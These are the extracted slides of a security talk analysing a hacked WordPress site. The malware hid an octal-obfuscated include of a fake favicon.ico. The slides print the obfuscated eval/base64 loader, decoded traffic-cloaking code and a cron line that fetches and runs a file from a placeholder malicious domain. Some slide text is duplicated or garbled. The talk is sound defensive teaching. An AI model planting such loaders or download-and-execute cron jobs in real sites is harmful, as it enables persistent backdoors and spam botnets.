

CSI:
CRIME SCENE INVESTIGATION

The Strange Case of Malicious Favicons

By Nestor Angulo (@pharar)



Hacked By Jakarta


kan, berani mati | indonesian,

Tidak ada seorangpun, hewan atau banci yang disakiti dalam hacking ini
Jiwa Kegelapan Team





When hacking occurs...





CSI aka Blue Team

A woman with long dark hair and glasses is shown in profile, resting her head on her hand in a thoughtful pose. From the top of her head, a large number of dark, geometric shapes, resembling confetti or falling leaves, are scattered across the upper half of the image. The background is a dark, textured grey. The entire scene is framed by a white, hand-drawn style border.


Concepts

There are two types of companies: those who **have been hacked**, and those who **don't yet know** they have been hacked.

John Chambers
Chief Executive Officer of Cisco



DEALING WITH CYBER STRESS





BOTNET

SPAM

PHISHING

HACKER

MALWARE



DDOS

VIRUS



KEYLOGGER

SPYWARE

Hackers vs Cyberterrorists



Hacker


- **Curious person** who loves to go beyond limits or conventions.



Cyberterrorist

- **Computer Hacker**, aligned to enrich himself in a zero-sum game situation.
- **The bad guy**

How a WordPress site is infected:



TARGETS

Users

Database

Content

Infrastructure

Bot Net

Reputation

FACTS

Site hacking
almost never is
client-oriented
(98% of cases)

Almost always
happens due to a
**deficient monitoring /
maintenance**

A **SSL** certificate
is not
an antihacking shield

Patches & security
updates appear almost
always after hacking
exploits

Errare Humanum Est
(Human being fails)

Security **never** is
(**nor will be**)
100% effective

MEASURES



REACTIVE

When bad things have **already happened**

Pain mitigation

INCIDENT RESPONSE



PROACTIVE

Before anything bad happens

Risk mitigation

ANALYSIS & MONITORING

Incident response (IR) is the effort to quickly identify an attack, minimize its effects, contain damage, and remediate the cause to reduce the risk of future incidents.
(vmware.com)

It's show
time







Case A1806 Crime Scene



Remote site: /home/[redacted]/html

Filename	Filesize	Filetype
..		
wp-includes-srcbak		Directory
wp-admin-srcbak		Directory
wp-content		Directory
yyociwe		Directory
c01fce		Directory
docs		Directory
zzkwjuce		Directory
wp-includes		Directory
wp-admin		Directory
.sucuriquarantine		Directory
DISABLED		Directory
info.php	16 B	PHP
.user.ini	24 B	Visual Stu
.htaccess	897 B	File
gd-config.php	1.1 KB	PHP
robots.txt	24 B	txt-file
license.txt	19.5 KB	txt-file
zzkwjuce.zip	16.4 KB	ZIP archiv
69089f65dd9.php.suspected	0 B	suspecte.
11380aa99fe.php.suspected	0 B	suspecte.
history-template.php.suspected	0 B	suspecte.
wp-config.php	3.0 KB	PHP
7513c638c52.php.suspected	0 B	suspecte.
index.php	418 B	PHP
wp-blog-header.php	364 B	PHP

Scenario

- SPAMMED site
- Affected SEO (Google Rank removed) 
- Rapid Re-infection
- Frustration 

Remo

Filenam

..

wp-

wp-

wp-

yyo

c01

doc

zzk

wp-

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.suc

DIS

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.use

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gd-

rob

lice

zzk

690

113


hist

wp-

751

inde

wp-



DESIGNS
FREE SHIPPING !!!
 **BUY VIAGRA**
NOW

[ABOUT](#) [OUR WORK](#) [SERVICES](#) [CONTACT](#)

Phone: [redacted]

Address: [redacted]

Email: [redacted]

Name *

Phone *

E-Mail *

Message *

[Twitter](#) [Facebook](#) [LinkedIn](#) [Google+](#) [Instagram](#)

no

Remo

Filenam

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
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
hist

wp-

751

inde

wp-



[Example Domain](#)

www.example.com/ ▾

This site may be hacked.

Example Domain. This domain is established to be used for illustrative examples in documents. You may use this domain in examples without prior coordination or asking for permission. More information...


Automatically report

[Details](#)

[Back to safety](#)

Filename	Filesize	Filetype	Last modified	Permissions	Owner/Group
..					
wp-includes-srcbak		Directory	11/18/17 06:39:02	dr-xr-xr-x	
wp-admin-srcbak		Directory	11/18/17 06:39:04	dr-xr-xr-x	
wp-content		Directory	03/22/18 13:06:45	drwx---r-x	
yyociwe		Directory	04/02/18 18:33:22	drwx---r-x	
c01fce		Directory	04/02/18 18:34:38	drwx---r-x	
docs		Directory	04/02/18 18:34:39	drwx---r-x	
zzkwjuce		Directory	04/02/18 18:34:39	drwx---r-x	
wp-includes		Directory	04/02/18 18:34:44	drwx---r-x	
wp-admin		Directory	04/04/18 10:12:10	drwx---r-x	
.sucuriquarantine		Directory	04/18/18 10:49:35	drwx---r-x	
DISABLED		Directory	04/18/18 10:50:12	drwx---r-x	
info.php	16 B	PHP	06/11/16 22:23:43	-rw----r--	
.user.ini	24 B	Visual Stu...	06/11/16 22:17:21	-rw----r--	
.htaccess	997 B	File	02/03/17 01:45:50	-rw----r--	
gd-config.php	17 KB	PHP	06/03/17 12:10:33	-rw----r--	
robots.txt	24 B	txt-file	05/21/17 02:31:27	-rw----r--	
license.txt	45 KB	txt-file	01/05/18 05:14:45	-rw----r--	
zzkwjuce.zip	16.4 KB	ZIP archive	03/23/18 06:18:24	-rw----r--	
69089f65dd9.php.suspected	0 B	suspected...	04/02/18 18:33:22	-rw----r--	
11380aa99fe.php.suspected	0 B	suspected...	04/02/18 18:34:21	-rw----r--	
history-template.php.suspected	0 B	suspected...	04/02/18 18:34:38	-rw----r--	
wp-config.php	3.0 KB	PHP	04/02/18 18:34:38	-rwxr-xr-x	
7513c638c52.php.suspected	0 B	suspected...	04/02/18 18:34:39	-rw----r--	
index.php	418 B	PHP	04/02/18 18:34:44	-rw----r--	
wp-blog-header.php	364 B	PHP	04/02/18 18:34:44	-rw----r--	

FACTS

- No WAF
- Our tools cleaned Spam and malware in Plugins and root folder
- Without forensic analysis, the PROBABLE vector of infection was set to a outdated plugin.
- Integrity analysis -> core files modified (?) 

```
{
  "checksums": {
    "xmlrpc.php": "fc41dc381c170a502a90617c2fd9b34b",
    "wp-blog-header.php": "5f425a463183f1c6fb79a8bcd113d129",
    "readme.html": "9834aec0c099711881eb24f6b810d67b",
    "wp-signup.php": "8f5a6f5b3b89a48b00e2ba9f2d8c772f",
    "index.php": "926dd0f95df723f9ed934eb058882cc8",
    "wp-cron.php": "0cdc26ef7f3e46926d381ec9834b60d9",
    "wp-config-sample.php": "52af9966e77b07e1f59daa08c691d567",
    "wp-login.php": "1d523dcda73e43ea5583e115ec2cb0d6",
    "wp-settings.php": "21a4e42631b99a680d945bc5df7d03a4",
    "license.txt": "55547b43c5c9b714b021b22d915139e5",
    "wp-content/themes/twentytwentyone/footer.php": "3914b568347e451ecc6dc548eb4376e5",
    "wp-content/themes/twentytwentyone/template-parts/content/content-excerpt.php": "0dc78422b5b1a4a3544acf87d99670b4",
    "wp-content/themes/twentytwentyone/template-parts/content/content-page.php": "db8fd035e79be8d4c46595aa90d27e37",
    "wp-content/themes/twentytwentyone/template-parts/content/content-none.php": "4c9d38fc7b4e97dee3ea5701954c0f12",
    "wp-content/themes/twentytwentyone/template-parts/content/content.php": "faab19e2ef202ccbc52a5dab31cc6e13",
    "wp-content/themes/twentytwentyone/template-parts/content/content-single.php": "b3308e46181a4c4fe9b5c06b3a1103cc",
    "wp-content/themes/twentytwentyone/template-parts/header/excerpt-header.php": "ed251d9b4cf2c00e415a3bdfaa8e9175",
    "wp-content/themes/twentytwentyone/template-parts/header/site-nav.php": "f5f49d5a3dba2510622483eb12b084c1",
    "wp-content/themes/twentytwentyone/template-parts/header/site-branding.php": "901a53ebbcf9bb0f7a18a88af6436e3a",
    "wp-content/themes/twentytwentyone/template-parts/footer/footer-widgets.php": "6642f8b3524af990b77a8d4cbceba7ef",
    "wp-content/themes/twentytwentyone/template-parts/post/author-bio.php": "6194c6812e90d7e701e56ffafab64f23",
    "wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-link.php": "f996ebddc8a3a9fadddf1e5b5b70659",
    "wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt.php": "3ef8ced1f81408cc17f75f08910a1a74",
    "wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-video.php": "876e1268abed658c53be2ca9a6b48c21",
    "wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-aside.php": "2ccc2f87b02081ee6ed0741f5f9e24e5a"
```

The CLUE

- MD5 hashes of WordPress Core files/folders.
- Using wordpress.org API

```
1 <?php
2 /*5797e*/
3
4
5 /*5797e*/
6 /**
7  * Front to the WordPress application. This file doesn't do anything, but loads
8  * wp-blog-header.php which does and tells WordPress to load the theme.
9  *
10 * @package WordPress
11 */
12
13 /**
14  * Tells WordPress to load the WordPress theme and output it.
15  *
16  * @var bool
17  */
18 define( 'WP_USE_THEMES', true );
19
20 /** Loads the WordPress Environment and Template */
21 require( dirname( __FILE__ ) . '/wp-blog-header.php' );
22
```

./index.php



```
1 <?php
2 /*5797e*/
3
4
5 /*5797e*/
6 /**
7  * Front to the
8  * wp-blog-header
9  *
10 * @package Word
11 */
12
13 /**
14  * Tells WordPre
15  *
16  * @var bool
17  */
18 define( 'WP_USE_
19
20 /** Loads the WordPress Environment and Template */
21 require( dirname( __FILE__ ) . '/wp-blog-header.php' );
22
```

./index.php from wordpress.org

```
1 <?php
2 /**
3  * Front to the WordPress application. This file doesn't do
4  * wp-blog-header.php which does and tells WordPress to loa
5  *
6  * @package WordPress
7  */
8
9 /**
10  * Tells WordPress to load the WordPress theme and output i
11  *
12  * @var bool
13  */
14 define( 'WP_USE_THEMES', true );
15
16 /** Loads the WordPress Environment and Template */
17 require( dirname( __FILE__ ) . '/wp-blog-header.php' );
18
```


./index.php file recovered.

```
1 <?php
2 /*5797e*/
3
4 @include "\057home\057u[...]0\146f481\1441.ic\157";
5
6 /*5797e*/
7 /**
8  * Front to the WordPress application. This file doesn't do anything, but loads
9  * wp-blog-header.php which does and tells WordPress to load the theme.
10  *
11  * @package WordPress
12  */
13
14 /**
15  * Tells WordPress to load the WordPress theme and output it.
16  *
17  * @var bool
18  */
19 define( 'WP_USE_THEMES', true );
20
21 /** Loads the WordPress Environment and Template */
22 require( dirname( __FILE__ ) . '/wp-blog-header.php' );
23
```

Hidden code revealed

```
1 <?php
2 /*5797e*/
3
4 @include "/home/usuario/public_html/wp-content/themes/theme/assets/
   favicon_0ff481d1.ico";
5
6 /*5797e*/
7 /**
8  * Front to the WordPress application. This file doesn't do anything, but loads
9  * wp-blog-header.php which does and tells WordPress to load the theme.
10 *
11 * @package WordPress
12 */
13
14 /**
15  * Tells WordPress to load the WordPress theme and output it.
16 *
17 * @var bool
18 */
19 define( 'WP_USE_THEMES', true );
20
21 /** Loads the WordPress Environment and Template */
22 require( dirname( __FILE__ ) . '/wp-blog-header.php' );
23
```

```
1 <?php
2 /*5797e*/
3
4 @include "/home/usuario/public_html/wp-content/themes/theme/assets/
   favicon_0ff481d1.ico";
5
```

```
$ php -a
```

```
Interactive shell
```

```
php >
```

```
php > echo "\x2fh\x6fm\x65/x63_\x68t\x6d\x2fh\x6fm\x652\x301\x36/\x76e\x6ed\x
/home/usuario/public_html/wp-content/themes/theme/assets/favicon_0ff481d1.icd
```

```
php >
```

```
17 *eval*
18 */
19 define( 'WP_USE_THEMES', true );
20
21 /** Loads the WordPress Environment and Template */
22 require( dirname( __FILE__ ) . '/wp-blog-header.php' );
23
```

ToolBelt so far

- Interactive PHP console

```
$ php -a
```

- unphp.net
- wordpress.org API

The screenshot shows the UnPHP website interface. At the top, there is a navigation bar with the UnPHP logo and links for Decode, Recent, API, Services, and Contact. Below the navigation bar is a dark blue header with the title "UnPHP - The Online PHP Decoder" and a subtitle "UnPHP is a free service for analyzing obfuscated and malicious PHP". The main content area features a text input field for pasting code, a "Decode This PHP" button, and a section titled "Eval + gzinflate + Base64" with a "View Output" button. The text below the button reads: "UnPHP easily handles simple obfuscation methods that chain functions like eval(), gzinflate(), str_rot13(), s".



favicon_0ff481d1.ico

Let's return to our favicon.

JTE3JTBBViUxMGtUJTEExVyUwNyUxNiUwMSUwRU5KR1UyNCUxRiUzRVMlMDZUJTBGJTBDJTAXJTA2
TiUxMCUxQiU1QyUwMVVaJTNDUSUw0SUwQyUxMEs lMTElMTcwTSUxNlFWJTE3V0ZFSCUwRVhKVCUy
NCUyNCU1RFklMEftJTE1JTA3JTEwJTA2TiUwNiUxRCU1QyUwQkZoJTBGJTVEJTAxRUglMEUlmjc2
JTIzYk0lMEZ3JTBBJTVDJTBGJTNEJTE3SyUxREtIQiUwQlNoJTA2JTQwJTE0JTBEJTE2JTVETk9P
JTFFTSUwRnc lMEE lNUM lMEY lM0Q lMTdLJTFES0hDJTA1TGglMDZKJTAzJTAxJTEwWiUwMCUwQyUw
MXE lMTA lNURaJTA2JTE1SkJUJTA3UiUyMyUwQSU1QyUxNiU1QkU lM0M lNDA lMDM lMTI lMEI lNUM l
MUQ lMEE lMDFJTCUwNCUxRVhyJTE1JTA3JTEwcSUxRCUwQSUwMks lM0JYJTVFJTBFJTVCJTEySlQl
MDdSJTBBJTA5JTA2RVBSJTA1JTVCJTA4JTA3JTAwJTA2SzM lMjd+JTNCcXglMkY lMTBPSyUxRko l
MEM lMDU lMDY lNDA lMDE lMUM lMTUzejY lM0Q lMjFhJTI1QUM lMEVGaFlBJTFCJTVEJTFGJTBESE lL
Tko lMDFSJTVFJTBEVyUwMkpDSCUwMCUwRiUwQXE lMTRBQyUzQ1E lMDk lMEM lMTBLJTA3JTE3JTFD
JTBFQyUxRCUxRSUx0FY lMDM lMDQ lMEQ lNDA lMENLSEglMERYUiUzQ0I lMTM lMTY lM0JNJTA2JTBE
JTFCsyUwQSU0MERDJTE1SkJVJTA3Ukc lMEFMJTFFREU lMDQ lMTI lNUJCQyUxRiUwRiUwNyUwQ0wl
NUQ lMEQ lMDB0VCUwM1BXJTAzJTVEW lPSVvVviUwNEs lMDQ lMDE lMUfaUyU1RSUxQ1Y lMERTJTAx
UEFZJTAzQiUwNiUwMSUwRUJEJTEwUiUwMUglMTY lMTA lMDM lMTU lMEY lMTY lMDFNJTEwJTVEwCUw
RCUxMiUwNyUwRiUxMyU1QyUx0CUxMiUxREZMJTEwTiUwQUslMUM lMTc lMDM lMDdJJTE4JTA2SEQ l
MUNEJTE3JTQwJTBBJTA3JTBBJTA2TSUxQSUwNlc lMUVBUEo lMTJaQ lAlMDc lMTI lMTE lMEFaJTEw
R l lDJTEwRFklMTklMEE lMUM lMTklMDhYJTBBUFRDJTBGRiU0MCUyNWwlMke lMjc lMkFoJTIZJTdD
fiUy0XklMke lMkY lMkFh0TI lM0Q lN0QwYWE0aiUzRjglMDVMJTBBJTA3JTBBSCUwMyU1QyU1RSUw
0Vk lMEE lMEY lMEFBJTE5JTEyJTFEJTVEJTEwQUE lMTRKJTFGJTE4VCUxRiU1Q1AlNUI lMUJSJ
JTBGWiUx0U lFRiUxNU0 lMDA lMTU lNUQ lMUREU lUwNyUxMiU1QkI lMTdaJTECJTNDJTFDJTVEJTE

Uhmmmm... Base64 code apparently



```
<?php
if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718'))
{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718', 1);

$thxzqsaz = 9669;

function rgakyqy($eztimjoyq, $cxgon){
    $symcwhpc = '';
    for($i=0;
    $i < strlen($eztimjoyq);
    $i++){
        $symcwhpc .= isset($cxgon[$eztimjoyq[$i]]) ? $cxgon[$eztimjoyq[$i]] : $eztimjoyq[$i];
    }

$ffjhcahkad="base64_decode";return base64_decode($symcwhpc);}
$owpjujowns = 'bTCX6xwiIdHnG1V406cHGUMyGH0QILGU76wpVLk90RQX6xwiIdHnG1V406cQILcnqWMeIaMJMeg
$wczmc = Array('1'=>'e', '0'=>'9', '3'=>'A', '2'=>'S', '5'=>'r', '4'=>'0', '7'=>'L', '6'=>
eval/*zbwyuqbz*/(rgakyqy($owpjujowns, $wczmc));
}
```

```
//55dc265565c31933c4ea7059cac1db7cZD03bnp3PmQhLiZndzY8dGthfW820W42WXgheS440HgidzwIMDB1Nj4r
```

```
<?php
if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718'))
{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718', 1);
```

Runtime Semaphore

```
$thxzqsaz = 9669;
```

```
function rgakyq($eztimjoyq, $cxgon){
    $symcwhpc = '';
    for($i=0;
    $i < strlen($eztimjoyq);
    $i++){
        $symcwhpc .= isset($cxgon[$eztimjoyq[$i]]) ? $cxgon[$eztimjoyq[$i]] : $eztimjoyq[$i];
    }

    $ffjhcahkad="base64_decode";return base64_decode($symcwhpc);}
    $owpjujowns = 'bTCX6xwiIdHnGlV406cHGUMyGH0QILGU76wpVLk90RQX6xwiIdHnGlV406cQILcnqWMeIaMJMeq
    $wczmc = Array('1'=>'e', '0'=>'9', '3'=>'A', '2'=>'S', '5'=>'r', '4'=>'0', '7'=>'L', '6'=>
    eval/*zbwyuqbz*/(rgakyq($owpjujowns, $wczmc));
}
```

```
//55dc265565c31933c4ea7059cac1db7cZD03bnp3PmQhLiZndzY8dGthfW820W42WXgheS440HgldzwIMDBlNj4t
```



```
<?php
if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718'))
{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718', 1);
```

```
$thxzqsaz = 9669;
```

```
function rgakyqy($eztimjoyq, $cxgon){
```

```
    $symcwhpc = '';
```

```
    for($i=0;
```

```
    $i < strlen($eztimjoyq);
```

```
    $i++){
```

```
        $symcwhpc .= isset($cxgon[$eztimjoyq[$i]]) ? $cxgon[$eztimjoyq[$i]] : $eztimjoyq[$i];
```

```
    }
```

```
$ffjhcahkad="base64_decode";return base64_decode($symcwhpc);}
```

```
$owpjujowns = 'bTCX6xwiIdHnGlV406cHGUMyGH0QILGU76wpVLk90RQX6xwiIdHnGlV406cQILcnqWMeIaMJMe
```

```
$wczmc = Array('1'=>'e', '0'=>'9', '3'=>'A', '2'=>'S', '5'=>'r', '4'=>'0', '7'=>'L', '6'=>
```

```
eval/*zbwyuqbz*/(rgakyqy($owpjujowns, $wczmc));
```

```
}
```

Dirty Base64 code



```
//55dc265565c31933c4ea7059cac1db7cZD03bnp3PmQhLiZndzY8dGthfW820W42WXgheS440HgidzwIMDBlNj4r
```

```
<?php
if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718'))
{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718', 1);
```

```
$thxzqsaz = 9669;
```

```
function rgakyq($eztimjoyq, $cxgon){
    $symcwhpc = '';
    for($i=0;
    $i < strlen($eztimjoyq);
    $i++){
        $symcwhpc .= isset($cxgon[$eztimjoyq[$i]]) ? $cxgon[$eztimjoyq[$i]] : $eztimjoyq[$i];
    }
```

```
$ffjhcahkad="base64_decode";return base64_decode($symcwhpc);}
```

```
$owniuiowns = 'bTCX6xwiTdHnG1V406cHGUMvGH00I1GU76wpVLk90R0X6xwiTdHnG1V406c0I1cnaWMeIaMIMed
```

```
$wczmc = Array('1'=>'e', '0'=>'9', '3'=>'A', '2'=>'S', '5'=>'r', '4'=>'0', '7'=>'L', '6'=>
```

```
eval/*zbwyuqbz*/(rgakyq($owpjowns, $wczmc));
```

```
}
```

Translate key




```
//55dc265565c31933c4ea7059cac1db7cZD03bnp3PmQhLiZndzY8dGthfW820W42WXgheS440Hgidzw1MDB1Nj4r
```

```
<?php
if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718'))
{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718', 1);
```

Decoding Function

Now, there is
a base64
valid code



```
function rgakyqy($eztimjoyq, $cxgon){
    $symcwhpc = '';
    for($i=0;
    $i < strlen($eztimjoyq);
    $i++){
        $symcwhpc .= isset($cxgon[$eztimjoyq[$i]]) ? $cxgon[$eztimjoyq[$i]] : $eztimjoyq[$i];
    }
}
```

```
$ffjhcahkad="base64_decode";return base64_decode($symcwhpc);}
$owniuiowns = 'bTCX6xwiTdHnG1V406cHGUMvGH00I1GU76wpVLk90R0X6xwiTdHnG1V406c0I1cnaWMeIaM1Meo
$wczmc = Array('1'=>'e', '0'=>'9', '3'=>'A', '2'=>'S', '5'=>'r', '4'=>'0', '7'=>'L', '6'=>'
eval/*zbwyuqbz*/(rgakyqy($owpjujowns, $wczmc));
}
```

```
//55dc265565c31933c4ea7059cac1db7cZD03bnp3PmQhLiZndzY8dGthfW820W42WXgheS440Hgidzw1MDB1Nj4r
```

```
<?php
if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718'))
{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718', 1);

$thxzqsaz = 9669;

function rgakyqy($eztimjoyq, $cxgon){
    $symcwhpc = '';
    for($i=0;
    $i < strlen($eztimjoyq);
    $i++){
        $symcwhpc .= isset($cxgon[$eztimjoyq[$i]]) ? $cxgon[$eztimjoyq[$i]] : $eztimjoyq[$i];
    }

    $ffjhcahkad="base64_decode";return base64_decode($symcwhpc);}
    $owpjujowns = 'bTCX6xwiIdHnGlV406cHGUMjCH0QI1CU7CmpVLL00RQXGumiIdHnGlV406cQI1cnqWMeIaMJMeq
    $wczmc = Array('1'=>'e', '0'=>'9', '3'=>'A', '2'=>'S', '5'=>'r', '4'=>'0', '7'=>'L', '6'=>
    eval/*zbwyuqbz*/(rgakyqy($owpjujowns, $wczmc));
}
```

So, let's decode it



```
//55dc265565c31933c4ea7059cac1db7cZD03bnp3PmQhLiZndzY8dGthfW820W42WXgheS440HgidzwIMDB1Nj4r
```

```
<?php
if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718'))
{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718', 1);

$thxzqsaz = 9669;

function rgakyqy($eztimjoyq, $cxgon){
    $symcwhpc = '';
    for($i=0;
    $i < strlen($eztimjoyq);
    $i++){
        $symcwhpc .= isset($cxgon[$eztimjoyq[$i]]) ? $cxgon[$eztimjoyq[$i]] : $eztimjoyq[$i];
    }

$ffjhcahkad="base64_decode";return base64_decode($symcwhpc);}
$owpjujowns = 'bTCX6xwiIdHnG1V406cHGUMyGH9QILGU76wpVLk90RQX6xwiIdHnG1V406cQILcnqWMeIaMJMeq
$wczmc = Array('1'=>'e', '0'=>'9', '3'=>'A', '2'=>'S', '5'=>'r', '4'=>'0', '7'=>'L', '6'=>
eval/*zbwyuqbz*/(rgakyqy($owpjujowns, $wczmc));
}
```

**MD5 hash
commented
(32 chars)**

```
//55dc265565c31933c4ea7059cac1db7cZD03bnp3PmQhLiZndzY8dGthfW820W42WXgheS440Hgidzw1MDB1Nj4r
```

```
<?php
if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718'))
{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718', 1);

$thxzqsaz = 9669;

function rgakyqy($eztimjoyq, $cxgon){
    $symcwhpc = '';
    for($i=0;
    $i < strlen($eztimjoyq);
    $i++){
        $symcwhpc .= isset($cxgon[$eztimjoyq[$i]]) ? $cxgon[$eztimjoyq[$i]] : $eztimjoyq[$i];
    }

    $ffjhcahkad="base64_decode";return base64_decode($symcwhpc);}
    $owpjujowns = 'bTCX6xwiIdHnGlV406cHGUMyGH0QILGU76wpVlk90RQX6xwiIdHnGlV406cQILcnqWMeIaMJMeq
    $wczmc = Array('1'=>'e', '0'=>'9', '3'=>'A', '2'=>'S', '5'=>'r', '4'=>'0', '7'=>'L', '6'=>
    eval/*zbwyuqbz*/(rgakyqy($owpjujowns, $wczmc));
}
```

encrypted
Base64 code
using the MD5
The REAL
Backdoor

```
//55dc265565c31933c4ea7059cac1db7:ZD03bnp3PmQhLiZndzY8dGthfW820W42WXgheS440HgidzwIMDBlNj4
```

The Structure

Summarizing...



```
1 <?php
2 if (!defined('ALREADY_RUN_[..random hexadecimal string]')) {
3     define('ALREADY_RUN_[..random hexadecimal string]', 1);
4
5     function random_function_name($translate_key, $dirty_base64_code) {
6         // Simple replacement decryption, using $translate_key
7         // of the $dirty_base64_code transforming
8         // it in a correct base64 code
9         return base64_decode($base64_clean_code);
10    }
11
12    $random_var_dirty_base64_code = 'bTCX6xwiIdHnGlV406cHGUMyGH0QIlGU76wpVLk90RQX6xwiIdHnGlV4
13        Hc68UIZjKwLVKqZXocrHyIH04YZoHMeg896xDbTi3qWMeIaMnGd' .
14        [... looking-like-base64-encoded strings concatenations ...] .
15        's638s638sB4X6u38s638s638nT40s638s638s6wHvlzys6AxvWAZeczYeccpg40s638s63' . '8s6wH1rH40
16    $random_var_translation_key = Array('1' => 'e', '0' => '9', '3' => 'A', '2' => 'S', '5'
17        , 'C' => 'o', 'B' => 'H', 'E' => 'j', 'D' => '7', 'G' => 'c', 'F' => 'E', 'I' => 'b',
18        'q', 'Q' => 's', 'P' => 't', 'S' => 'u', 'R' => 'T', 'U' => 'n', 'T' => 'Q', 'W' =>
19        ' => 'D', 'e' => 'y', 'd' => 'm', 'g' => 'w', 'f' => '6', 'i' => 'p', 'h' => '5', 'k
20        , 'p' => '0', 's' => 'I', 'r' => 'G', 'u' => 'i', 't' => 'P', 'w' => 'B', 'v' => 'Y'
21    eval
22    /*[random chars acting as ID tag]*/
23    (random_function_name($random_var_translation_key, $random_var_with_dirty_base64_code));
24 }
25 // 55dc265565c31933c4ea7059cac1db7c [... commented 32 chars of MD5 + encrypted code ...]
26
```


ToolBelt so far

Herramientas

- Browser console, browser dev tools, extensions
- Base64(code-decode):
base64decode.org
- Beautifier of code in HTML, CSS, JS and PHP:
ctrlq.org/beautifier

- Phased decrypter:
ddecode.com
unphp.net


Scanners



- Sitecheck (SUCURI)
sitecheck.sucuri.net
- VirusTotal:
virustotal.com
- WebPageTest:
webpagetest.org

A close-up photograph of a person's hands typing on a keyboard. The scene is dimly lit with a strong blue and red color cast. The text "After a several steps of decoding" is overlaid in white, centered on the image. A white horizontal line is positioned below the word "decoding".

After a several steps of
decoding

```
3  if (!@$_SERVER['HTTP_REFERER'] || !preg_match('/(google\.|\.
    facebook\.|\.yahoo\.|\.bing\.|baidu\.|yandex\.)\/i', $_SERVER[
    'HTTP_REFERER']))
4  {
5      return FALSE;
6  }
7
8  if (!@$_SERVER['HTTP_USER_AGENT'] || preg_match('/(yandexbot|
    baiduspider|archiver|track|crawler|google|msnbot|ysearch|
    search|bing|ask|indexer|majestic|scanner|spider|facebook|Bot
    \\/)/i', $_SERVER['HTTP_USER_AGENT']))
9  {
10     return FALSE;
11 }
12
13     [tds_path] => /nbgvecy5/engine.php
14     [tds_ip] => [REDACTED].133
15 )
16
```







OK....

But how it got re-infected?

SURPRISE!

- CronJob:



```
MAILTO=" "
```

```
* * * * * wget -q -O xxxd5
```

```
http://malicious.domain.com/xxxd && chmod 0755
```

```
xxxd5 && /bin/sh xxxd5 /home/user/public_html &&
```

```
rm -f xxxd
```

Conclusion



A favicon can make your site a Bot Node



0day ability



Different options available (SPAM included)



Tracking of infected sites and malware type used



BotNet Dashboard

Final Advises



Proactive measures



Reduce admins, plugins and themes (LEAST PRIVILEGE RULE)



Use a Passwords Manager, change periodically, strong ones



Backups (VALIDATE THEM)



Updates (REMEMBER: PATCHES COMES AFTER EXPLOITS)



Monitor your site (WPSCAN.com & files integrity scanner)



WAF (Web Application Firewall)

Remember to **Invest** in



HOSTING



SECURITY

Everybody needs a hacker



THANKS!

QUESTIONS!

If you prefer
Twitter -> @pharar